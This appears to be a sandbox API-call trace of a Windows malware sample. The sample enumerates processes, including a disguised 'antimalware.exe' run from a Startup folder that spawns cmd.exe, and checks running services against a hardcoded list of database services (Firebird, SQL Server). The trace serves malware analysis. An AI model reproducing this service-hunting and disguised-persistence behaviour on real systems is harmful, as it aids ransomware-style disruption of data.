	[0134.296] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0134.297] lstrlenW (lpString="SearchUI.exe") returned 12
	[0134.297] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0134.298] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0134.298] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0134.299] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0134.300] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0134.301] lstrlenW (lpString="mobsync.exe") returned 11
	[0134.301] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0134.302] lstrlenW (lpString="svchost.exe") returned 11
	[0134.302] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0134.304] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0134.304] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0134.305] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0134.306] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0134.306] lstrlenW (lpString="cmd.exe") returned 7
	[0134.306] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0134.308] lstrlenW (lpString="conhost.exe") returned 11
	[0134.308] Process32NextW (in: hSnapshot=0x314, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0134.310] CloseHandle (hObject=0x314) returned 1
	[0134.310] Sleep (dwMilliseconds=0x1f4) 
	[0135.145] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52dbd0
	[0135.145] EnumServicesStatusExW (in: hSCManager=0x52dbd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0135.146] GetLastError () returned 0xea
	[0135.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b58) returned 0x394cec8
	[0135.146] EnumServicesStatusExW (in: hSCManager=0x52dbd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x394cec8, cbBufSize=0x1b58, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x394cec8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0135.147] CloseServiceHandle (hSCObject=0x52dbd0) returned 1
	[0135.147] lstrlenW (lpString="AppXSvc") returned 7
	[0135.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0135.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0135.147] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0135.147] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0135.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0135.148] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0135.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0135.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0135.148] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0135.148] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0135.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0135.148] lstrlenW (lpString="Audiosrv") returned 8
	[0135.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0135.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0135.148] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0135.148] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0135.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0135.148] lstrlenW (lpString="BFE") returned 3
	[0135.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0135.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0135.148] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0135.148] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0135.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0135.148] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0135.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0135.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0135.148] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0135.149] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0135.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0135.149] lstrlenW (lpString="CDPSvc") returned 6
	[0135.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0135.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0135.149] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0135.149] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0135.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0135.149] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0135.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0135.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0135.149] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0135.149] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0135.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0135.149] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0135.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0135.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0135.149] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0135.149] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0135.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0135.150] lstrlenW (lpString="CryptSvc") returned 8
	[0135.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0135.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0135.150] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0135.150] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0135.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0135.150] lstrlenW (lpString="DcomLaunch") returned 10
	[0135.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0135.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0135.150] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0135.150] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0135.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0135.150] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0135.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0135.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0135.150] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0135.150] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0135.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0135.150] lstrlenW (lpString="Dhcp") returned 4
	[0135.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0135.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0135.151] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0135.151] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0135.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0135.151] lstrlenW (lpString="Dnscache") returned 8
	[0135.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0135.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0135.151] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0135.151] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0135.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0135.151] lstrlenW (lpString="DPS") returned 3
	[0135.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0135.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0135.151] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0135.151] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0135.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0135.151] lstrlenW (lpString="DusmSvc") returned 7
	[0135.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0135.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0135.151] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0135.152] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0135.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0135.194] lstrlenW (lpString="EventLog") returned 8
	[0135.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0135.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0135.194] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0135.194] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0135.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0135.194] lstrlenW (lpString="EventSystem") returned 11
	[0135.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0135.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0135.194] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0135.194] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0135.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0135.194] lstrlenW (lpString="FontCache") returned 9
	[0135.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0135.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0135.195] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0135.195] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0135.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0135.195] lstrlenW (lpString="gpsvc") returned 5
	[0135.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0135.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0135.195] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0135.195] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0135.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0135.195] lstrlenW (lpString="iphlpsvc") returned 8
	[0135.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0135.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0135.195] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0135.287] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0135.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0135.287] lstrlenW (lpString="KeyIso") returned 6
	[0135.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0135.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0135.287] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0135.287] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0135.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0135.288] lstrlenW (lpString="LanmanServer") returned 12
	[0135.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0135.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0135.288] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0135.288] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0135.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0135.288] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0135.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0135.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0135.288] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0135.288] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0135.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0135.288] lstrlenW (lpString="lfsvc") returned 5
	[0135.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0135.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0135.288] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0135.288] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0135.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0135.288] lstrlenW (lpString="lmhosts") returned 7
	[0135.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0135.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0135.288] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0135.288] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0135.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0135.288] lstrlenW (lpString="LSM") returned 3
	[0135.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0135.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0135.289] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0135.289] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0135.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0135.289] lstrlenW (lpString="MpsSvc") returned 6
	[0135.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0135.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0135.289] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0135.289] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0135.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0135.289] lstrlenW (lpString="NcbService") returned 10
	[0135.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0135.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0135.289] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0135.289] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0135.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0135.289] lstrlenW (lpString="netprofm") returned 8
	[0135.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0135.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0135.289] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0135.289] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0135.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0135.289] lstrlenW (lpString="NgcSvc") returned 6
	[0135.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0135.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0135.290] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0135.290] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0135.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0135.290] lstrlenW (lpString="NlaSvc") returned 6
	[0135.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0135.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0135.290] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0135.290] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0135.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0135.290] lstrlenW (lpString="nsi") returned 3
	[0135.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0135.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0135.290] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0135.290] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0135.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0135.290] lstrlenW (lpString="PcaSvc") returned 6
	[0135.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0135.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0135.290] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0135.290] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0135.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0135.290] lstrlenW (lpString="PlugPlay") returned 8
	[0135.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0135.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0135.290] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0135.291] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0135.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0135.291] lstrlenW (lpString="Power") returned 5
	[0135.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0135.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0135.291] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0135.291] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0135.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0135.291] lstrlenW (lpString="ProfSvc") returned 7
	[0135.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0135.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0135.291] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0135.291] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0135.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0135.291] lstrlenW (lpString="RpcEptMapper") returned 12
	[0135.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0135.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0135.291] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0135.291] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0135.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0135.291] lstrlenW (lpString="RpcSs") returned 5
	[0135.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0135.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0135.291] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0135.291] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0135.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0135.292] lstrlenW (lpString="SamSs") returned 5
	[0135.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0135.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0135.292] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0135.292] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0135.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0135.292] lstrlenW (lpString="Schedule") returned 8
	[0135.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0135.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0135.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0135.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0135.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0135.292] lstrlenW (lpString="SecurityHealthService") returned 21
	[0135.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0135.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0135.292] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0135.292] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0135.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0135.292] lstrlenW (lpString="SENS") returned 4
	[0135.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0135.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0135.292] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0135.292] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0135.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0135.292] lstrlenW (lpString="ShellHWDetection") returned 16
	[0135.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0135.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0135.293] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0135.293] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0135.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0135.293] lstrlenW (lpString="Spooler") returned 7
	[0135.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0135.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0135.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0135.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0135.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0135.293] lstrlenW (lpString="StateRepository") returned 15
